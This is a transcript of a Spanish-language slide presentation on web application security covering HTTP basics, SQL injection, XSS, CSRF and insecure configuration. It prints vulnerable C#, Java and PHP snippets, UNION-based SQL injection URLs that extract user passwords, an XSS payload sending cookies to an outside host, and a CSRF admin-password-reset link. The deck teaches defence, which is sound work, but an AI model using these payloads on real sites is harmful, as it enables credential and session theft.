Seguridad 120618095150-phpapp01

17
 Seguridad de Aplicaciones Web Everth Juvenal Gallegos Puma

Transcript of Seguridad 120618095150-phpapp01

Page 1: Seguridad 120618095150-phpapp01

   

Seguridad de Aplicaciones Web

Everth Juvenal Gallegos Puma

Page 2: Seguridad 120618095150-phpapp01

   

¿Que es un aplicacion web?

En la ingeniería de software se denomina aplicación web a aquellas aplicaciones que los usuarios pueden utilizar accediendo a un servidor web a través de Internet o de una intranet mediante un navegador. En otras palabras, es una aplicación software que se codifica en un lenguaje soportado por los navegadores web en la que se confía la ejecución al navegador.

Page 3: Seguridad 120618095150-phpapp01

   

Arquitectura de una AppWeb

http://areyouahuman.com/

Page 4: Seguridad 120618095150-phpapp01

   

HTTP● protocolo de transferencia de hipertexto.

● Ejemplo:

Cliente:

GET /index.php HTTP/1.1

Host: www.example.com

User-Agent: nombre-cliente

Cookie:phpsession=12aba789491279912

Connection: Close

Servidor:

HTTP/1.1 200 OK

Date: Fri, 31 Dec 2011 23:59:59 GMT

Content-Type: text/html

Content-Length: 1221

<html>

<body>

<h1>Página principal de tuHost</h1>

Page 5: Seguridad 120618095150-phpapp01

   

¿A que nos enfrentamos?

Page 6: Seguridad 120618095150-phpapp01

   

¿Por donde empezamos?

Page 7: Seguridad 120618095150-phpapp01

   

¿Qué son los riesgos de seguridad en aplicaciones?

Page 8: Seguridad 120618095150-phpapp01

   

Algunos Ejemplos

● SQL Injeccion: Injeccion de codigo sql en consultas

codigo vulnerable

C#:

SqlCommand cmd = new SqlCommand("SELECT * FROM noticias WHERE id = '" +Request.QueryString(“id”) + "'", con);

using( SqlDataReader rdr = cmd.ExecuteReader() );

Page 9: Seguridad 120618095150-phpapp01

   

Java:

Statement stmt = con.createStatement();

ResultSet rset = stmt.executeQuery("SELECT * FROM noticias WHERE id = '" + request.getParameter(“id”) + "';");

PHP:

$query_result = mysql_query("SELECT * FROM noticias WHERE id = '" . $_GET[“id”]. "'");

Page 10: Seguridad 120618095150-phpapp01

   

● Testing

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=1

internamente:

Select * from noticias where id=1 and 1=1

“muestra contenido”

http://ejemplo.com/noticias.php|asp|jsp?id=1 and 1=2

internamente:

Select * from noticias where id=1 and 1=2

“No muestra Contenido”

Page 11: Seguridad 120618095150-phpapp01

   

● Ataque

allar el numero de columnas

http://ejemplo.com/noticias.php|asp|jsp?id=1 order by 1,2,..etc

hacer consultas

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,table_name,4,5,..,etc from information_schema.tables.

Consula a la tabla de usuario

http://ejemplo.com/noticias.php|asp|jsp?id=1 union select 1,2,usuario,password,5,..,etc from usuario

Page 12: Seguridad 120618095150-phpapp01

   

● XSS:

ataque del lado del cliente para injectar codigo html, javascript.

Codigo Vulnerable:

C#:

response.write(request.querystring(“msg”));

JAVA:

out.println(request.getParameter(“msg”));

PHP:

echo $_GET[“msg”];

Page 13: Seguridad 120618095150-phpapp01

   

● Testing:

http://ejemplo.com/buscar.php|asp|jsp?msg=<h1>Hola</h1>.

● Ataque:

http://ejemplo.com/buscar.php|asp|jsp?msg=document.location=http://juaker.com/xss.php?datos=document.cookie;

Page 14: Seguridad 120618095150-phpapp01

   

● Falcificacion de peticiones:

Ataque:

<a href=”http://mipagina.com/resert.php?

user=admin&newpass=admin”>Gana dinero con un click</a>.

● Almacenamiento Criptográfico Inseguro

“cifrar adecuadamente datos importantes”

ejemplo

passcifrado=md5(salt+passoriginal);

Page 15: Seguridad 120618095150-phpapp01

   

Defectuosa Configuracion de Seguridad:

Ejemplo

aspx:

Padding oracle:Exposicion de codigo remotamente

PHP:

php en modo cgi:Exposicion y ejecucion de codigo remoto

Page 16: Seguridad 120618095150-phpapp01

   

● Errores de capa 8:

Usuarios descuidados

contraseñas debiles

archivos de respaldo no borrados.

Page 17: Seguridad 120618095150-phpapp01

   

Gracias¿Preguntas?

[email protected]